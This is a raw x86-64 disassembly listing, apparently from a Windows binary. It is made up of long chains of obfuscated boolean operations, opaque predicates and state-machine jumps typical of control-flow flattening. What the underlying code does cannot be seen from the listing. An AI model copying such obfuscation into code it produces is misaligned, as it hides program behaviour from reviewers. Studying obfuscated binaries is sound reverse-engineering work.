xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
mov ecx, r13d
xor cl, 1
and cl, r13b
and al, dl
mov ebx, ecx
and bl, r13b
xor cl, r13b
or cl, bl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
mov ebx, ecx
xor bl, 1
and bl, al
xor al, 1
and al, cl
or al, bl
mov ecx, r13d
xor cl, dl
or dl, r13b
xor dl, 1
or dl, cl
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r9d, r11d
xor r9b, 1
mov eax, r9d
and al, r11b
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, eax
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and al, cl
mov r8d, ecx
and r8b, al
xor al, cl
or al, r8b
mov ebx, eax
and al, r11b
mov r8d, edx
xor r8b, 1
xor bl, 1
and bl, r9b
or al, bl
mov r10d, ecx
and r10b, r9b
xor cl, r9b
mov ebx, edx
or bl, r8b
or cl, r10b
xor al, 1
mov r9d, eax
xor r9b, cl
or al, cl
mov ecx, ebx
xor cl, 1
xor al, 1
or al, r9b
and bl, cl
mov r9d, ebx
and r9b, cl
xor bl, cl
or bl, r9b
mov r9d, ebx
and bl, r8b
xor r9b, 1
and r9b, dl
or bl, r9b
mov r8d, ecx
xor r8b, dl
or cl, dl
xor cl, 1
or cl, r8b
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
and al, cl
or al, dl
mov ecx, r14d
movzx edx, byte [rsp + 0x2a]
and cl, dl
and r14b, r12b
and r12b, bpl
or r12b, cl
xor r12b, 1
or r12b, dl
mov ecx, r12d
xor cl, 1
and dl, bpl
or r14b, dl
mov edx, r14d
xor dl, 1
mov ebx, r14d
and bl, r12b
or r14b, cl
and cl, dl
or cl, bl
xor dl, r12b
xor r14b, 1
or r14b, dl
mov edx, r14d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r14b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
or dl, cl
xor cl, dl
xor cl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
or dl, cl
xor cl, dl
and cl, dl
xor al, 1
mov edx, ecx
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov ebx, eax
xor bl, cl
xor bl, 1
and bl, cl
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov esi, edx
xor sil, al
xor al, 1
or al, dl
xor al, 1
xor sil, 1
mov ecx, eax
and cl, sil
xor sil, al
or sil, cl
mov r8d, r15d
xor r8b, 1
mov r11d, r8d
and r11b, r15b
mov ecx, r11d
xor cl, 1
mov eax, ecx
or al, r8b
mov ebx, r11d
xor bl, r15b
mov edx, eax
xor dl, bl
xor bl, 1
xor dl, 1
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
mov r10d, ebx
and r10b, al
xor bl, r10b
xor r10b, 1
or r10b, al
xor r10b, 1
or r10b, bl
mov eax, r10d
xor al, 1
and r10b, al
mov edx, r10d
and dl, al
xor r10b, al
or r10b, dl
mov r9d, r10d
xor r9b, 1
xor r11b, r8b
or cl, r15b
xor cl, 1
or cl, r11b
mov r11d, ecx
xor r11b, 1
mov eax, r11d
and al, cl
xor r11b, cl
or r11b, al
mov eax, r11d
xor al, 1
and r11b, al
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
mov ecx, r11d
xor cl, 1
mov eax, esi
xor al, 1
mov edx, esi
and dl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov r8d, edx
xor r8b, 1
and r8b, dl
xor r8b, 1
mov ebx, r8d
xor bl, dl
or r8b, dl
xor r8b, 1
or r8b, bl
xor r8b, 1
mov edx, eax
xor dl, sil
or al, sil
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, r9d
xor al, cl
or cl, r10b
or r10b, r11b
xor r10b, 1
or r10b, al
xor cl, 1
or r11b, r9b
xor r11b, 1
mov eax, ecx
and al, r11b
xor r11b, cl
or r11b, al
mov r14d, r11d
xor r14b, 1
mov ebp, r10d
mov ecx, r14d
mov r9d, r14d
mov esi, r10d
and sil, r14b
xor r14b, r10b
xor r10b, 1
and bpl, r10b
xor bpl, 1
mov edi, r10d
xor dil, bpl
or bpl, r10b
mov r10d, edx
xor r10b, 1
and cl, r11b
xor bpl, 1
or bpl, dil
xor r9b, cl
xor cl, 1
or cl, r11b
xor cl, 1
or cl, r9b
mov eax, ebp
xor al, 1
and al, cl
xor cl, 1
and cl, bpl
or cl, al
or r14b, sil
xor r14b, 1
mov eax, ecx
and al, r14b
xor r14b, cl
or r14b, al
mov ecx, r8d
or cl, dl
xor cl, 1
xor dl, r8b
or cl, dl
or r10b, r8b
and dl, r8b
mov eax, r10d
xor al, dl
xor dl, 1
xor al, 1
or dl, r10b
xor dl, 1
or dl, al
mov eax, edx
and dl, cl
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
xor bl, 1
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, r14b
xor r14b, 1
or al, r14b
xor r14b, cl
and r14b, cl
xor cl, 1
xor al, 1
or al, cl
xor al, 1
xor r14b, al
mov r8d, r14d
xor r8b, 1
and r8b, al
mov eax, r8d
and al, r14b
xor r8b, r14b
or r8b, al
movzx r9d, byte [rsp + 0x2c]
mov eax, r9d
movzx edx, byte [rsp + 0x24]
or al, dl
movzx r10d, byte [rsp + 0x30]
xor dl, r10b
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov r13d, edx
movzx r12d, byte [rsp + 0x2b]
mov eax, r12d
xor al, 1
movzx edx, byte [rsp + 0x3c]
mov edi, edx
xor dil, r12b
movzx ebx, byte [rsp + 0x34]
or al, bl
mov ecx, ebx
and cl, r12b
xor r12b, bl
or bl, dl
mov esi, edx
mov r11d, ebx
xor r11b, 1
and r11b, bl
xor al, 1
or al, dil
mov edx, ebx
and dl, r11b
xor r11b, bl
or r11b, dl
mov edx, eax
xor dl, 1
and dl, r11b
xor r11b, 1
and r11b, al
or r11b, dl
mov edx, esi
mov eax, esi
and al, bl
xor bl, dl
mov edi, edx
or bl, al
xor r11b, 1
mov eax, r11d
xor al, bl
or r11b, bl
xor r11b, 1
or r11b, al
mov ebp, r11d
xor bpl, 1
mov r14d, r13d
xor r14b, 1
mov ebx, r10d
mov eax, r10d
mov edx, r9d
and al, r9b
xor dl, r10b
or dl, al
mov ebx, edx
xor bl, 1
mov r15d, ebp
and r15b, r11b
mov eax, ebp
and al, r15b
xor r15b, bpl
or r15b, al
mov esi, r15d
xor sil, 1
mov eax, r12d
or al, cl
xor al, 1
xor dil, al
xor dil, 1
or dil, al
mov r9d, edi
xor r9b, 1
mov eax, r13d
xor al, bl
mov ecx, r13d
mov byte [rsp + 0x24], r13b
or cl, bl
xor cl, 1
or cl, al
and bl, dl
xor bl, 1
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
and al, r14b
xor bl, 1
and bl, r13b
or bl, al
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
xor al, cl
xor cl, 1
mov r10d, edx
and r10b, bl
xor dl, bl
or dl, r10b
xor dl, cl
xor dl, 1
or bl, cl
xor bl, 1
or bl, al
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
mov ecx, edi
and cl, r9b
xor cl, 1
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
mov r10d, ecx
mov r13d, r15d
xor r13b, sil
and r13b, r15b
mov edx, ecx
mov r12d, ecx
mov eax, r15d
xor al, cl
or cl, r15b
or r15b, sil
or r9b, dil
mov edi, r15d
xor dil, r13b
xor r13b, 1
or r13b, r15b
mov r15d, edi
xor r15b, r13b
or r13b, dil
xor r10b, 1
xor r13b, 1
or r13b, r15b
mov edi, r9d
xor dil, 1
or dl, dil
and dil, r10b
and r12b, r9b
or r12b, dil
xor r9b, r10b
xor dl, 1
or dl, r9b
xor dl, 1
mov r9d, r12d
and r9b, dl
xor dl, r12b
or dl, r9b
mov r9d, edx
xor r9b, 1
and r9b, r13b
xor r13b, 1
and r13b, dl
or r9b, r13b
xor r10b, sil
xor cl, 1
or cl, r10b
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, r9d
xor cl, 1
and cl, al
xor al, 1
mov edx, r9d
xor dl, al
and dl, r9b
and al, r9b
or al, cl
xor dl, 1
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, ebx
xor cl, 1
mov edx, ebx
or dl, cl
mov r9d, edx
xor r9b, 1
mov r10d, eax
xor r10b, 1
mov esi, ecx
xor sil, dl
and sil, cl
and r9b, bl
and dl, cl
mov ecx, r10d
and cl, al
mov edi, ecx
and dil, r10b
xor cl, r10b
or r10b, al
or dl, r9b
mov ebx, esi
xor bl, 1
xor sil, dl
xor dl, 1
or dl, bl
mov r9d, r10d
xor r9b, 1
xor dl, 1
or dl, sil
mov ebx, r9d
and bl, r10b
or cl, dil
mov esi, ebx
and sil, r9b
xor bl, r9b
or bl, sil
xor bl, cl
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
xor r10b, 1
mov eax, ebx
and al, r10b
xor r10b, bl
or r10b, al
mov r9d, r10d
xor r9b, dl
and r10b, r9b
and r9b, dl
xor r10b, 1
xor r9b, 1
mov eax, r10d
xor al, r9b
or r9b, r10b
xor r9b, 1
or r9b, al
mov eax, ebp
and al, r14b
movzx edx, byte [rsp + 0x24]
or bpl, dl
and dl, r11b
or dl, al
xor dl, 1
or dl, r14b
xor bpl, 1
or r14b, r11b
xor r14b, 1
mov eax, ebp
and al, r14b
xor r14b, bpl
or r14b, al
mov ecx, r14d
xor cl, 1
mov eax, r14d
and al, dl
xor dl, 1
and cl, dl
or cl, al
mov eax, edx
xor al, r14b
or dl, r14b
xor dl, 1
or dl, al
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov eax, ecx
xor al, bl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, dl
and al, cl
mov esi, ebx
xor sil, 1
mov ecx, eax
xor cl, 1
and al, cl
mov r10d, esi
mov r11d, ecx
and r11b, al
xor al, cl
mov edx, esi
and dl, cl
xor cl, sil
and sil, bl
xor r10b, sil
xor sil, 1
or sil, bl
xor sil, 1
or sil, r10b
or al, r11b
mov ebx, esi
xor bl, 1
and bl, al
xor al, 1
and al, sil
or al, bl
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r10d, eax
xor r10b, 1
mov ecx, r10d
mov ebx, r9d
and r10b, r9b
xor r9b, 1
and cl, r9b
and bl, al
or bl, cl
xor bl, 1
or bl, r9b
mov ecx, ebx
xor cl, 1
and r9b, al
or r10b, r9b
mov eax, r10d
xor al, 1
and cl, bl
mov edx, r10d
and dl, al
xor cl, 1
mov r9d, ecx
xor r9b, bl
or cl, bl
xor cl, 1
or cl, r9b
mov r9d, edx
and r9b, r10b
xor dl, r10b
or dl, r9b
mov r9d, ecx
xor r9b, 1
and r9b, dl
xor dl, 1
and dl, cl
or dl, r9b
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov edx, eax
xor dl, 1
or dl, al
mov ecx, eax
or cl, dl
xor cl, 1
xor dl, al
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
mov r9d, eax
xor r9b, 1
xor al, bl
or r9b, dl
xor r9b, 1
or r9b, al
mov eax, r9d
xor al, 1
mov ecx, r9d
xor cl, al
and cl, r9b
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, dl
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, 1
and al, r9b
xor al, 1
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
mov edx, eax
and dl, r9b
xor al, r9b
or al, dl
mov edx, eax
xor dl, 1
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov r10d, eax
xor r10b, 1
mov ebx, eax
and bl, r10b
mov edx, ebx
xor dl, 1
mov r9d, r10d
xor r9b, bl
or dl, al
xor dl, 1
or dl, r9b
mov ecx, edx
xor cl, 1
and cl, dl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
xor bl, 1
and bl, cl
xor cl, 1
and al, cl
or bl, al
mov eax, ecx
and al, r10b
xor cl, r10b
or cl, al
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov ebx, r10d
xor bl, cl
and r10b, bl
and bl, cl
mov eax, r10d
xor al, 1
xor r10b, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, r10b
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
mov edx, ebx
xor dl, 1
mov eax, r8d
xor al, 1
mov r11d, eax
and r11b, r8b
mov r9d, eax
and r9b, r11b
xor r11b, al
or r11b, r9b
mov r9d, r11d
xor r9b, 1
mov ecx, r9d
and cl, r11b
xor cl, 1
mov r10d, r11d
xor r10b, cl
or cl, r11b
xor cl, 1
or cl, r10b
mov r10d, ecx
xor r10b, 1
and r10b, dl
and cl, bl
or cl, r10b
mov r10d, r11d
xor r10b, bl
mov esi, edx
and sil, r11b
or r11b, bl
xor r11b, 1
or r11b, r10b
xor r11b, 1
mov r10d, ecx
and r10b, r11b
xor r11b, cl
or r11b, r10b
and r9b, bl
or r9b, sil
xor r9b, 1
or r9b, bl
mov r10d, r9d
xor r10b, 1
and dl, bl
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
and r8b, dl
xor dl, 1
and dl, al
or dl, r8b
xor al, dl
and al, dl
mov ecx, eax
xor cl, 1
and cl, al
mov r8d, ecx
and r8b, al
xor cl, al
mov ebx, r10d
xor bl, al
or al, r10b
and r10b, r9b
xor r10b, 1
mov edx, r10d
xor dl, r9b
or r10b, r9b
xor r10b, 1
or r10b, dl
or cl, r8b
xor cl, r10b
xor cl, 1
xor al, 1
or al, bl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, r11d
and dl, cl
xor cl, r11b
or cl, dl
mov r8d, ecx
xor r8b, 1
mov edx, r11d
xor dl, al
xor dl, 1
and dl, al
or al, r11b
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
and al, r8b
mov ebx, ecx
and bl, al
xor al, cl
mov ecx, edx
xor cl, 1
or al, bl
mov ebx, eax
xor bl, 1
and bl, cl
and al, dl
or al, bl
mov ecx, r8d
xor cl, dl
or dl, r8b
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x7eccbfe2
mov edx, 0x286d38ed
cmovne ecx, edx
test al, 1
cmove ecx, edx
test bl, 1
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x5c], eax
mov eax, 0x7eccbfe2
cmove ecx, eax
jmp 0x140053140
cmp eax, 0x2cc085ed
jle 0x14005ab4b
mov ecx, dword [rsp + 0x44]
cmp eax, 0x2cc085ee
je 0x140053140
cmp eax, 0x3b69fb7e
jne 0x140062607
mov ecx, dword [rsp + 0x5c]
call fcn.140045cc0
mov eax, dword [0x1400986ac]
lea r11d, [rax - 1]
imul r11d, eax
mov eax, r11d
not eax
mov ecx, eax
mov edx, eax
mov dword [rsp + 0x24], eax
mov esi, eax
and edx, 0x80012606
mov ebp, r11d
and ebp, 0x8268001
or ebp, edx
xor ebp, 0x8268001
mov edx, r11d
and edx, 0x77d859f8
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xae0fdecb
and edx, 0x51f02134
or edx, ebp
mov ebp, edx
xor ebp, 0x6001840
and ebp, 0x86021b71
xor edx, 0xa02a63bd
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x4f427123
and edx, 0xb0bd8edc
or edx, ebp
mov ebp, edx
xor ebp, 0xb0bd8edc
xor edx, 0x4f427123
and eax, 0x79fde48e
mov ebx, r11d
xor ebx, 0x86021b71
or ebx, eax
mov eax, ebx
not eax
and eax, 0x79533401
and ebx, 0x86accbfe
or ebx, eax
mov eax, ebx
xor eax, 0x86accbfe
xor ebx, 0x79533401
and eax, edx
or edx, ebx
not edx
and ebx, ebp
or ebx, eax
mov eax, edx
and eax, ebx
xor ebx, edx
or ebx, eax
mov eax, ebx
not eax
and eax, 0x86000a30
mov edx, ebx
and edx, 0x21141
or edx, eax
xor edx, 0x21141
and ebx, 0x79fde48e
or ebx, edx
mov eax, ebx
not eax
and ebx, eax
mov edx, eax
and edx, ebx
xor ebx, eax
or ebx, edx
mov eax, ebx
not eax
mov edx, ebx
and edx, 0x9c1f124d
and ebx, 0x63e0edb2
and eax, 0x9c1f124d
or eax, ebx
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x5f623985
and eax, 0xa09dc67a
or eax, ecx
mov ebp, eax
xor ebp, 0x80080000
xor eax, 0x13600804
or edx, 0xd76ed906
mov ecx, edx
not ecx
or eax, 0x28910290
and eax, 0x3bf5ca96
and ebp, 0xc40a1100
or ebp, eax
and edx, 0x3bf5ca96
and ecx, 0x2469
or ecx, edx
xor ecx, ebp
mov eax, ecx
not eax
and eax, 0xda0abd2c
and ecx, 0x25f542d3
or ecx, eax
mov eax, ecx
xor eax, 0x129811c5
xor ecx, 0x8606000
and eax, 0x179c15ef
and ecx, 0xe863ea10
or ecx, eax
mov r9d, ecx
xor r9d, 0x179c15ef
mov r10d, ecx
xor r10d, 0xe863ea10
and esi, 0x606a6533
mov eax, r11d
and eax, 0x9f959acc
or eax, esi
mov edx, eax
not edx
and edx, 0x9f959acc
and eax, 0x606a6533
or eax, edx
mov edx, eax
not edx
mov esi, eax
xor esi, 0x765de3ec
and esi, edx
mov edi, eax
and edi, 0x89a21c13
mov ebx, esi
and ebx, edi
xor edi, esi
or edi, ebx
mov esi, edi
not esi
and esi, 0xc54142dc
and edi, 0x3abebd23
or edi, esi
xor edi, 0xd0fc4c82
and edx, 0x9c1f124d
xor eax, 0x63e0edb2
or eax, edx
not eax
mov edx, edi
and edx, eax
xor eax, edi
or eax, edx
mov edx, eax
mov esi, eax
xor esi, 0xe80d94a4
and esi, eax
not eax
and eax, 0x680104a0
and edx, 0x800c9004
or edx, eax
xor edx, 0x800c9004
mov eax, edx
and eax, esi
xor esi, edx
or esi, eax
mov eax, esi
not eax
and eax, 0x4f88a81b
and esi, 0xb07757e4
or esi, eax
mov eax, esi
xor eax, 0x480a4140
xor esi, 0xa7853cbf
mov edx, esi
and edx, 0x9174b6b2
and eax, 0x6e8b494d
or eax, edx
xor eax, 0x6e8b494d
or eax, esi
mov r13d, eax
not r13d
mov esi, eax
and esi, r13d
mov ebx, esi
not ebx
mov ebp, r13d
and ebp, 0xba71e655
mov r12d, r13d
mov edi, eax
and edi, 0x101084a7
and r13d, 0xefef7b58
or r13d, edi
xor r13d, 0xd0a5b066
or r13d, eax
and eax, 0x458e19aa
or eax, ebp
or r12d, ebx
and ebx, 0xba71e655
and esi, 0x458e19aa
or esi, ebx
xor esi, eax
not r12d
or r12d, esi
mov r15d, r10d
mov r14d, r12d
mov r8d, r12d
mov ebx, r12d
xor ebx, 0x2e7b1f4a
and ebx, r12d
not r12d
mov esi, r12d
and esi, 0xc0b534c1
and r14d, 0x3f4acb3e
or r14d, esi
mov ebp, r14d
xor ebp, r12d
and r12d, 0x3071cbb5
and r8d, 0xcf8e344a
or r8d, r12d
mov esi, r8d
xor esi, 0xcf8e344a
xor r8d, 0x1e0ad4ff
and r8d, esi
mov r12d, r10d
and r12d, esi
xor esi, r10d
and r10d, 0x69609b9f
mov edi, r9d
and edi, 0x3f4acb3e
and r15d, 0xc0b534c1
or r15d, edi
mov edi, r15d
xor edi, r9d
mov edx, r9d
and edx, 0x969f6460
or edx, r10d
mov r10d, edx
xor r10d, 0x80952440
and r10d, 0xc0b534c1
xor edx, 0x562a50a1
or edx, r10d
mov r10d, edx
not r10d
and edi, r15d
and ebp, r14d
and edx, 0xbab3b645
mov r14d, r10d
and r14d, 0x454c49ba
or r14d, edx
xor r14d, 0x454c49ba
mov r15d, edi
not r15d
and r15d, 0x442ed502
mov edx, edi
and edx, 0xbbd12afd
or edx, r15d
xor edx, 0xbbd12afd
mov r15d, r14d
and r15d, edx
mov eax, edx
xor edx, r14d
and r14d, 0x6365bff6
and r10d, 0x9c9a4009
or r10d, r14d
and eax, 0x6365bff6
and edi, 0x9c9a4009
or edi, eax
mov eax, r10d
not eax
and eax, edi
not edi
and edi, r10d
or edi, eax
or edx, r15d
mov eax, edx
not eax
and eax, 0x9a96944b
and edx, 0x65696bb4
or edx, eax
mov r14d, edi
not r14d
mov r10d, r14d
and r10d, 0xf8d305bb
and edi, 0x72cfa44
or edi, r10d
mov eax, edx
xor eax, 0x5286a04
xor edx, 0x9a96944b
or r14d, edx
and edx, 0xf8d305bb
and eax, 0x72cfa44
or eax, edx
xor eax, edi
not r14d
or r14d, eax
mov eax, ebp
xor eax, r13d
and eax, ebp
mov edx, ebp
not edx
and edx, 0x829cf9f
and ebp, 0xf7d63060
or ebp, edx
mov r15d, r13d
not r15d
and r13d, 0x829cf9f
and r15d, 0xf7d63060
or r15d, r13d
xor r15d, ebp
mov edx, eax
and edx, r15d
xor r15d, eax
or r15d, edx
mov eax, r14d
mov edx, r14d
xor edx, 0x4ecf73d5
and edx, r14d
not r14d
and r14d, 0x428d73c0
and eax, 0xc420015
or eax, r14d
mov ebp, r15d
not ebp
and ebp, 0x4827245
mov edi, r15d
and edi, 0x4a4d0190
or edi, ebp
xor eax, 0xc420015
xor edi, 0x4a4d0190
and r15d, 0xb1308c2a
or r15d, edi
mov ebp, eax
and ebp, edx
xor edx, eax
xor ecx, 0x39e70aa5
and ecx, r9d
or edx, ebp
mov eax, edx
not eax
and eax, 0xa29321f8
and edx, 0x5d6cde07
or edx, eax
mov eax, r15d
not eax
and eax, 0xa29321f8
and r15d, 0x5d6cde07
or r15d, eax
xor r15d, edx
or r9d, 0xd184e0b5
mov eax, r9d
not eax
mov edx, r9d
and edx, 0x7a872c72
and eax, 0x4781308
or eax, edx
mov edx, ecx
not edx
or r9d, edx
and edx, 0x7a872c72
and ecx, 0x8578d38d
or ecx, edx
xor ecx, eax
not r9d
or r9d, ecx
mov eax, r8d
and eax, ebx
xor ebx, r8d
or ebx, eax
mov eax, r9d
not eax
and eax, 0x917f8c7a
and r9d, 0x6e807385
or r9d, eax
mov eax, ebx
not eax
and eax, 0x917f8c7a
and ebx, 0x6e807385
or ebx, eax
xor ebx, r9d
or esi, r12d
not esi
mov eax, ebx
and eax, esi
xor esi, ebx
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x1bdeab2
and eax, esi
and esi, 0xfe42154d
or esi, ecx
xor esi, 0xfe42154d
mov ecx, esi
and ecx, eax
xor esi, eax
or esi, ecx
mov edx, esi
not edx
mov r9d, r15d
not r9d
mov eax, edx
and eax, 0x8f9d3623
and esi, 0x7062c9dc
or esi, eax
mov r10d, esi
xor r10d, 0x7062c9dc
mov eax, r9d
and eax, 0x2d0431d3
mov ebx, r15d
xor ebx, 0x2d0431d3
and ebx, r15d
mov ecx, esi
xor ecx, 0xa29907f0
and ecx, r10d
or edx, 0x2d0431d3
mov ebp, eax
and ebp, ebx
xor ebx, eax
or ebx, ebp
mov ebp, ecx
not ebp
mov eax, ebp
and eax, 0xb63b2d43
and ecx, 0x49c4d2bc
or ecx, eax
mov eax, edx
not eax
or ebp, edx
and edx, 0xb63b2d43
and eax, 0x40c0c22c
or eax, edx
mov edx, dword [rsp + 0x24]
mov r14d, edx
xor eax, ecx
mov ecx, edx
mov r8d, edx
not ebp
or ebp, eax
mov eax, ebx
not eax
and eax, 0xb6d8b607
and ebx, 0x492749f8
or ebx, eax
mov eax, ebp
not eax
and eax, 0xb6d8b607
and ebp, 0x492749f8
or ebp, eax
xor ebp, ebx
mov eax, r15d
and eax, 0xde9b19d6
and r9d, 0x2164e629
or r9d, eax
and r14d, r11d
mov eax, r11d
mov ebx, r11d
and ecx, 0xa7839e26
and r11d, 0x587c61d9
or r11d, ecx
not r11d
or r11d, edx
xor esi, 0x8f9d3623
or r15d, esi
and esi, 0xde9b19d6
and r10d, 0x2164e629
or r10d, esi
xor r10d, r9d
not r15d
or r15d, r10d
mov ecx, r15d
not ecx
and ecx, 0xd9a4b528
and r15d, 0x265b4ad7
or r15d, ecx
xor r15d, 0x265b4ad7
mov ecx, ebp
and ecx, r15d
xor r15d, ebp
or r15d, ecx
mov ecx, r15d
not ecx
mov edi, r15d
or edi, 0x33499f84
mov ebp, edi
not ebp
mov esi, ecx
and esi, 0xdb2753c3
and r15d, 0x24d8ac3c
or r15d, esi
xor r15d, 0xb8c7be70
or r15d, ecx
or ecx, 0xccb6607b
mov esi, ecx
not esi
and edi, 0xdd7a3fc4
and ebp, 0x84403b
or ebp, edi
and ecx, 0xdd7a3fc4
and esi, 0x22018000
or esi, ecx
xor esi, ebp
mov ecx, esi
not ecx
and ecx, 0x33499f84
and esi, 0xccb6607b
or esi, ecx
mov ebp, esi
not ebp
and esi, 0x8c190204
and ebp, 0x10061048
or ebp, esi
mov edi, ebp
xor edi, 0x10041040
xor ebp, 0xeff9efb7
mov r10d, r15d
not r10d
mov esi, ebp
or esi, r15d
not esi
and ebp, 0xccd26d8e
and edi, 0x100d1240
or edi, ebp
and r15d, 0xccd26d8e
and r10d, 0x332d9271
or r10d, r15d
xor r10d, edi
mov ebp, esi
and ebp, r10d
xor r10d, esi
or r10d, ebp
mov edx, r14d
not edx
and eax, 0x4d567e69
and r8d, 0xb2a98196
or r8d, eax
or ebx, edx
and edx, 0x4d567e69
and r14d, 0xb2a98196
or r14d, edx
xor r14d, r8d
not ebx
or ebx, r14d
mov eax, ebx
not eax
and ebx, 0xa0c97400
mov edx, eax
and edx, 0x5f368bff
or edx, ebx
xor edx, 0xf8b515d9
and eax, 0x587c61d9
or eax, edx
mov esi, eax
not esi
mov ebx, r11d
not ebx
mov edx, eax
and edx, 0x3ad3f0ba
and esi, 0xc52c0f45
or esi, edx
mov r8d, esi
xor r8d, 0xc52c0f45
mov edi, r11d
and edi, 0xd0096bb7
xor r11d, 0xe713723
and r11d, ebx
and ebx, 0x2ff69448
or ebx, edi
mov edi, ebx
xor edi, 0x2ff69448
mov ebp, esi
xor ebp, 0xcb5d3866
and ebp, r8d
or eax, 0xf18ec8dc
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x26a9e051
and ebp, 0xd9561fae
or ebp, edx
mov edx, eax
not edx
xor ebx, 0xd0096bb7
or ecx, eax
and eax, 0x26a9e051
and edx, 0x8501722
or edx, eax
mov eax, edi
and eax, 0xf18ec8dc
xor edx, ebp
not ecx
or ecx, edx
mov edx, eax
and edx, r11d
xor r11d, eax
or r11d, edx
mov eax, ecx
not eax
and eax, r11d
not r11d
and r11d, ecx
or r11d, eax
xor esi, 0x3ad3f0ba
mov eax, esi
and eax, 0x5eebe888
and r8d, 0xa1141777
or r8d, eax
or esi, ebx
and ebx, 0x5eebe888
and edi, 0xa1141777
or edi, ebx
xor edi, r8d
not esi
or esi, edi
mov eax, esi
not eax
and eax, 0xb5faec2f
and esi, 0x4a0513d0
or esi, eax
xor esi, 0x4a0513d0
mov eax, r11d
and eax, esi
xor esi, r11d
or esi, eax
mov eax, esi
not eax
and eax, 0x587c61d9
and esi, 0xa7839e26
or esi, eax
mov ebx, r10d
mov r11d, esi
mov edx, esi
xor edx, 0x132ac245
and edx, esi
not esi
mov ecx, esi
and esi, 0x132ac245
mov ebp, esi
and ebp, edx
xor edx, esi
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x7e32ed2a
and edx, 0x81cd12d5
or edx, ebp
mov ebp, edx
xor ebp, 0x92e7d090
and ebp, r10d
mov r8d, r10d
not r8d
and ebx, 0x2540ddb4
mov edi, r8d
and edi, 0xdabf224b
or edi, ebx
mov ebx, edi
xor ebx, 0x2540ddb4
and ecx, 0xf0e639be
and r11d, 0xf19c641
or r11d, ecx
mov ecx, r11d
xor ecx, 0xf114241
xor edi, 0xa310241
xor r11d, 0xf0e639be
mov eax, r11d
and eax, 0xd0cea4ba
and ecx, 0x2f315b45
or ecx, eax
or r11d, ebx
and ebx, 0xd0cea4ba
and edi, 0x2f315b45
or edi, ebx
xor edi, ecx
